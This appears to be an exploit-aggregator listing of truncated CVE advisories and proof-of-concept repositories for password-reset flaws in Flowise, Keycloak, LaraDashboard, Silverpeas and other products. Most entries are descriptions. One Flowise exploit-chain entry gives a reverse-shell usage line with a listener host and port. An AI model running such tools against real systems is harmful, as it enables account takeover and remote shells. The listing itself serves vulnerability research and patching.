CVE-2025-58434_CVE-2025-59528

CVE-2025-58434CVE-2025-59528 PoC Script CVE-2025-58434 Flowise -lp...

CVE-2025-58434-Unauthenticated-Password-Reset-Flowwise

Flowise Password Reset Account Takeover ATO For research and testing purposes only! I am not responsible for any damages to live infrastructure if this tool is not used as intended. Only use on systems you own or have permission to be testing! Usage usage: CVE-2025-58434-PasswordResetNew.py -h -u...

CVE-2026-31283

CVE-2026-31283 Description Forgot password can be used to luanch email bombing attack on a victim email. CVSS 3 Score: 7.5 High Attack Type Remote Unauthenticated Affected Versions Versions before 19.1.5 Discovered By: Yazan Abu-Nadi...

Exploit for CVE-2026-18963

CVE-2026-18963: Keycloak reset-credentials flow bypass Unauth...

holehe

Holehe OSINT - Correos Electrónicos a Cuentas Registradas 👋 ¡Hola! Para cualquier consulta profesional o colaboración, contáctame en: [email protected] 📧 Preferiblemente, usa tu correo profesional para la correspondencia. ¡Seamos breves y concisos, y todo en inglés! Versión Online de Holehe...

Flowise <= 3.0.5 - Account Takeover

Flowise versions 3.0.5 and earlier had a vulnerability in the forgot-password endpoint, which returned valid reset tokens without authentication—allowing attackers to reset passwords and take over accounts. id: CVE-2025-58434 info: name: Flowise = 3.0.5 - Account Takeover author:...

POC-CVE-2026-18963

CVE-2026-18963 — Keycloak Forgot-Password Flow Authentication Bypass PoC Proof of Concept for CVE-2026-18963 , a flaw in Keycloak's "Forgot Password" / credential-selection flow that allows an attacker to reach the UPDATEPASSWORD step — and reset a target account's password — without properly...

CVE-2025-58434-PoC

CVE-2025-58434 PoC Python proof-of-concept script for triggering POST /api/v1/account/forgot-password. ⚠️ For educational and authorized security research only. Running this tool against systems you do not own or lack written permission to test is illegal. Credit zaddy6 Isaac David arthurgervais...

CVE-2025-58434-59528

CVE-2025-58434 + CVE-2025-59528 Exploit chain for two vulnerabilities affecting Flowise -c "id" Reverse shell with existing key: python3 flowisechain.py -t http://target --api-key --lhost 10.0.0.1 --lport 4444 Options Flag| Description ---|--- -t, --target| Target URL -e, --email| Target account...

CVE-2024-9441

CVE-2024-9441 Description of the Vulnerability: This code exploits a Remote Code Execution RCE vulnerability that occurs due to improper input sanitization in a PHP-based web application. The specific weakness is in the "forgot password" functionality index.php?c=user&m=forgotpassword, where user...

CVE-2024-34582

CVE-2024-34582 Affects the latest versions of Mozilla & Chrome Web Browsers, Sunhillo Rici5k & Sureline The most current versions of the Web Servers running on the Sunhillo devices are susceptible to Reflected XSS. The vulnerability lies within the useridchange parameter within /cgi/usrPasswd.cgi...

EUVD-2026-92049

LaraDashboard 1.4.2 before 1.4.8 applies advanced email validation to unauthenticated forgot-password and reset-password requests, triggering DNS lookups and paid AbstractAPI verification calls. Unauthenticated attackers can submit arbitrary addresses to exhaust the verification quota, making...

CVE-2026-105127: Allocation of Resources Without Limits or Throttling

LaraDashboard 1.4.2 before 1.4.8 applies advanced email validation to unauthenticated forgot-password and reset-password requests, triggering DNS lookups and paid AbstractAPI verification calls. Unauthenticated attackers can submit arbitrary addresses to exhaust the verification quota, making...

CVE-2026-105127 LaraDashboard 1.4.2 before 1.4.8 Resource Exhaustion via Password Recovery Endpoints

LaraDashboard 1.4.2 before 1.4.8 applies advanced email validation to unauthenticated forgot-password and reset-password requests, triggering DNS lookups and paid AbstractAPI verification calls. Unauthenticated attackers can submit arbitrary addresses to exhaust the verification quota, making...

CVE-2026-105127 LaraDashboard 1.4.2 before 1.4.8 Resource Exhaustion via Password Recovery Endpoints

LaraDashboard 1.4.2 before 1.4.8 applies advanced email validation to unauthenticated forgot-password and reset-password requests, triggering DNS lookups and paid AbstractAPI verification calls. Unauthenticated attackers can submit arbitrary addresses to exhaust the verification quota, making...

CVE-2026-105127

The LaraDashboard software (versions 1.4.2 before 1.4.8 ) is vulnerable to a resource exhaustion issue within its unauthenticated forgot-password and reset-password endpoints. The root cause is the application's use of advanced email validation, which triggers external DNS lookups and paid Abstra...

CVE-2026-105127 LaraDashboard 1.4.2 before 1.4.8 Resource Exhaustion via Password Recovery Endpoints

LaraDashboard 1.4.2 before 1.4.8 applies advanced email validation to unauthenticated forgot-password and reset-password requests, triggering DNS lookups and paid AbstractAPI verification calls. Unauthenticated attackers can submit arbitrary addresses to exhaust the verification quota, making...

CVE-2025-46047

CVE-2025-46047 Silverpeas = 6.4.2 Username Enumeration PoC Proof-of-Concept script for demonstrating a username enumeration vulnerability in Silverpeas versions 6.4.1 and 6.4.2. Vulnerability Details Affected Software: Silverpeas Affected Versions: 6.4.1, 6.4.2 and potentially earlier versions...

Flowise-CVE-2025-58434-PasswordReset

CVE-2025-58434 - Flowise AI Unauthenticated Password Reset Overview CVE ID: CVE-2025-58434 Affected Software: Flowise AI Vulnerable Versions: = 3.0.5 Fixed Version: 3.0.6 and later Severity: Critical Author: arensballiu Date: 2025 Description Flowise AI versions up to and including 3.0.5 contain ...

PT-2026-104593

LaraDashboard 1.4.2 before 1.4.8 applies advanced email validation to unauthenticated forgot-password and reset-password requests, triggering DNS lookups and paid AbstractAPI verification calls. Unauthenticated attackers can submit arbitrary addresses to exhaust the verification quota, making...